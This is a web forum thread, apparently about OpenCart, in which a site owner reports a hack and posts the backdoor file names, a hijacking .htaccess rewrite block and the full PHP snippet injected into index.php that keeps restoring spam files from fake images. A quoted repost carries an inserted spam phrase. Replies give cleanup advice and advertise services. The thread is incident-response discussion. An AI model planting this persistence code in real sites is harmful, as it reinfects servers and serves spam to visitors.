Post by iDragonFly^ » Sun Dec 26, 2021 6:54 pm

hi everyone,
who got through the same experience that i had, please share it here, to clean up the hacked files and how to prevent such issue from happening!
i assume the website was hacked or injected with some codes and loaded with files

under the main directory i saw new folders created:
under these folders there are some weird files i found:
(Remove them)
admin/error_logx.txt

admin/controller/extension/module

Code: Select all

(1): accesson.php  > this is a backdoor virus i think.
(2): Return.php > also a  virus i think.
other files: 
4F49DF2A11.php
opheadar-lGVsyX.php
BAF77541E756.php
linksapis.php
lpinfo.php
readme_YKAVSBV.php
simple.php
statas.php
ulads.php
unlinks.php
error_log.txt
images > contains (banner_s.jpd , head_s.jpg, logo_s.jpg) but i don't think they are real jpg files.

security > container (idlogs.txt, index.php, logs.txt, map.txt, moban.html) P.S: the last name"moban in CH language means theme", if you delete it, it keeps creating the same folder with (index.php , moban.html and logs.txt) again and again! you need to remove all files i mentioned in this post.

websiteguide > contains several websiteamap.xml files

htaccss file > contains :

Code: Select all

<IfModule mod_rewrite.c>
Options +FollowSymLinks
RewriteEngine on
RewriteRule ^.*-(\d+)/$ security/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.*-r(\d+)/$ security/index\.php?cat=$1&%{QUERY_STRING} [L]
RewriteRule ^.*(website[a-z]+map\.xml)$  websiteguide/$1 [L]
RewriteBase /
</IfModule>
Index.php > the following code was added to the top: By the way, the htaccess file won't be deleted, unless you bring up the original index.php contents or delete this code from file header.

Code: Select all

//ck1bg
$nowFileDir =  'security';
$nowHtacFile =  './.htaccess';
$nmbf1 =  './security/moban.html';
$nowIndexFile =  './security/index.php';
$nowLogFile =  './security/logs.txt';
$bkLocalFileIndex1 =  './images/logo_s.jpg';
$bkLocalFileHtac1 =  './images/head_s.jpg';
$bkLocalFileMoban1 =  './images/banner_s.jpg';

if($nowHtacFile && file_exists($bkLocalFileHtac1)){
	if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowHtacFile,0755);
		@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
		@chmod($nowHtacFile,0755);
	}
}


if(file_exists($bkLocalFileIndex1)){
	if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowIndexFile,0755);
		@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
		@chmod($nowIndexFile,0755);
	}
}

if(file_exists($bkLocalFileMoban1)){
	
	if(!file_exists($nmbf1)){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
		@chmod($nmbf1,0755);
	}else{
		if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
			$tpstrMb = file_get_contents($nmbf1);
			if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
				$fitime = filemtime($bkLocalFileMoban1);
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($bkLocalFileMoban1,$tpstrMb);
				@touch($bkLocalFileMoban1, $fitime, $fitime);  
			}else{
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
				@chmod($bkLocalFileMoban1,0755);
			}
		}
	}
	
}
//ck1end
* i also did a scan for folders and files and i found this file under the home directory is a trojan
404.shtml

Newbie

Posts

Joined
Sat Mar 10, 2018 7:56 pm

Post by halfhope » Sun Dec 26, 2021 11:11 pm

Hi!
  • Download all site files and database to your computer.
  • Then you check all these files, find shell/backdoor/etc files and inserts of malicious code, delete all unnecessary ones. Delete all executable files from the images folder. Clear cache/modifications/cache/logs/unused language files. To search, you can use virus scanners, incl. desktop antivirus (Bitdefender, avast, nod32, drweb, kaspersky) and specialized on web (LMD, ai-bolit, revisium, etc, shell detector). You can also use GIT (compare your site with the original files, you can find malicious code in the modified files). In the case of applications with a single entry point (like opencart), you need to look for additional entry points into the application, namely - passing the parameters $ _GET, $ _POST, etc, as well as attempts to obfuscate them.
  • Change all store administrator passwords in the database. Rename the admin account. Check the oc_modification table for malicious code.
  • Change all possible passwords - to the database, to hosting, to your email, etc. Enable logging of server access requests, errors, etc.
  • Use maintenance mode .htaccess rules. Delete the site from the hosting, load a clean copy of the site instead, enter new data in the configs to connect to the database.
  • Protect your admin area from brute force with built-in HTTP authorization or Google reCAPTCHA.
  • Install a script to monitor the activity of the file system (shows new / changed / deleted files). If new malicious files are created, then you missed something, but now you can look at the logs and the date of the file creation who visited where and calculate the malicious code. Delete it and observe again.
A script for monitoring the file system can be downloaded from my secondary blog. Also, I have extension FSMonitor (en/de/ru).

Now botnets have become smart, if most of the malicious files have been deleted, they do not check all the rest and do not compromise the remaining files, but wait a couple of weeks and infect the site again.

If this is still relevant, I recommend not doing anything yourself, but contacting me. I will clean the site/server with a 1-year warranty, provided that the site does not use illegal paid add-ons. Upon completion of the work, you will receive a detailed report with safety recommendations. For some time after cleaning, the site will be monitored automatically to avoid re-infection (the site can be used). Term ~ 1 hour.
Last edited by halfhope on Mon Feb 28, 2022 4:45 pm, edited 2 times in total.

My FREE extensions in marketplace. [ security | flexibility | speedup ]


User avatar
Active Member

Posts

Joined
Tue Dec 10, 2013 9:44 pm
Location - San Diego

Post by josephdanial » Mon Feb 28, 2022 11:44 am

iDragonFly^ wrote:
Sun Dec 26, 2021 6:54 pm
hi everyone,
who got through the same experience that i had, please share it here, to clean up the hacked files and how to prevent such issue from happening!
i assume the website was hacked or injected with some codes and loaded with files

under the main directory i saw new folders created:
under these folders there are some weird files i found:
(Remove them)
admin/error_logx.txt

admin/controller/extension/module

Code: Select all

(1): accesson.php  > this is a backdoor virus i think.
(2): Return.php > also a virus i think.
other files: 
4F49DF2A11.php
opheadar-lGVsyX.php
BAF77541E756.php
linksapis.php
lpinfo.php
readme_YKAVSBV.php
simple.php
statas.php
ulads.php
unlinks.php
error_log.txt
images > contains (banner_s.jpd , head_s.jpg, logo_s.jpg) but i don't think they are real jpg files.

security > container (idlogs.txt, index.php, logs.txt, map.txt, moban.html) P.S: the last name"moban in CH language means theme", if you delete it, it keeps creating the same folder with (index.php , moban.html and logs.txt) again and again! you need to remove all files i mentioned in this post.

websiteguide > contains several websiteamap.xml files

htaccss file > contains :

Code: Select all

<IfModule mod_rewrite.c>
Options +FollowSymLinks
RewriteEngine on
RewriteRule ^.*-(\d+)/$ security/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.*-r(\d+)/$ security/index\.php?cat=$1&%{QUERY_STRING} [L]
RewriteRule ^.*(website[a-z]+map\.xml)$  websiteguide/$1 [L]
RewriteBase /
</IfModule>
Index.php > the following code was added to the top: By the way, the htaccess file won't be deleted, unless you bring up the original index.php contents or delete this code from file header.

Code: Select all

//ck1bg
$nowFileDir =  'security';
$nowHtacFile =  './.htaccess';
$nmbf1 =  './security/moban.html';
$nowIndexFile =  './security/index.php';
$nowLogFile =  './security/logs.txt';
$bkLocalFileIndex1 =  './images/logo_s.jpg';
$bkLocalFileHtac1 =  './images/head_s.jpg';
$bkLocalFileMoban1 =  './images/banner_s.jpg';

if($nowHtacFile && file_exists($bkLocalFileHtac1)){
	if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowHtacFile,0755);
		@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
		@chmod($nowHtacFile,0755);
	}
}


if(file_exists($bkLocalFileIndex1)){
	if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowIndexFile,0755);
		@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
		@chmod($nowIndexFile,0755);
	}
}

if(file_exists($bkLocalFileMoban1)){
	
	if(!file_exists($nmbf1)){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
		@chmod($nmbf1,0755);
	}else{
		if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
			$tpstrMb = file_get_contents($nmbf1);
			if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
				$fitime = filemtime($bkLocalFileMoban1);
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($bkLocalFileMoban1,$tpstrMb);
				@touch($bkLocalFileMoban1, $fitime, $fitime);  
			}else{
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
				@chmod($bkLocalFileMoban1,0755);
			}
		}
	}
	
}
//ck1end
* i also did a scan for folders Pokémon GO Mod Apk Unlimited everything and files and i found this file under the home directory is a trojan
404.shtml
I also want to know this. Do you apply the solution provided in the comment?

Newbie

Posts

Joined
Fri Dec 03, 2021 12:59 pm

Post by EvolveWebHosting » Tue Mar 01, 2022 10:39 am

How anyone has the patience to manually deal with attackers after they attack is mind boggling. It's always wiser to be proactive, not reactive. Attacks are fast and hard hitting. Typically, no two attacks are the same.

Opencart Hosting Plans, Domain Registration, Microsoft and Google Email and More
Visit our website for great deals and most importantly, fast and friendly support - www.evolvewebhosting.com


User avatar
Active Member

Posts

Joined
Fri Mar 27, 2015 11:13 pm
Location - Denver, Colorado, USA

Post by johnp » Wed Mar 02, 2022 6:41 pm

EvolveWebHosting wrote:
Tue Mar 01, 2022 10:39 am
How anyone has the patience to manually deal with attackers after they attack is mind boggling. It's always wiser to be proactive, not reactive. Attacks are fast and hard hitting. Typically, no two attacks are the same.
I totally agree. I stick Ninja Firewall on and let it automatically take care of hacks and banning hackers automatically.

Opencart 1.5.6.5/OC Bootstrap Pro/VQMOD lover, user and geek.
Affordable Service £££ - Opencart Installs, Fixing, Development and Upgrades
Plus Ecommerce, Marketing, Mailing List Management and More
FREE Guidance and Advice at https://www.ecommerce-help.co.uk


User avatar
Active Member

Posts

Joined
Fri Mar 25, 2011 10:25 am
Location - Surrey, UK

Post by mikeinterserv » Wed Mar 02, 2022 11:01 pm

johnp wrote:
Wed Mar 02, 2022 6:41 pm
EvolveWebHosting wrote:
Tue Mar 01, 2022 10:39 am
How anyone has the patience to manually deal with attackers after they attack is mind boggling. It's always wiser to be proactive, not reactive. Attacks are fast and hard hitting. Typically, no two attacks are the same.
I totally agree. I stick Ninja Firewall on and let it automatically take care of hacks and banning hackers automatically.
These techniques work for the amateur hacks and bots etc.
VERY unlikely a pro would be hacking little OC sites all over anyway.
If you have something worth hacking - and you are hacked its very unlikely you will know about it until its too late.
DB data can be taken without you knowing about it at all.
Everything depends on WHO is doing the hacking and what their intensions are.
99.9% of OC owners are dealing with amateurs and bots as I said before - these might cause a bit of inconvenience here and there but that's all.

Active Member

Posts

Joined
Thu May 28, 2020 6:55 am
Location - Wales
Who is online

Users browsing this forum: No registered users and 5 guests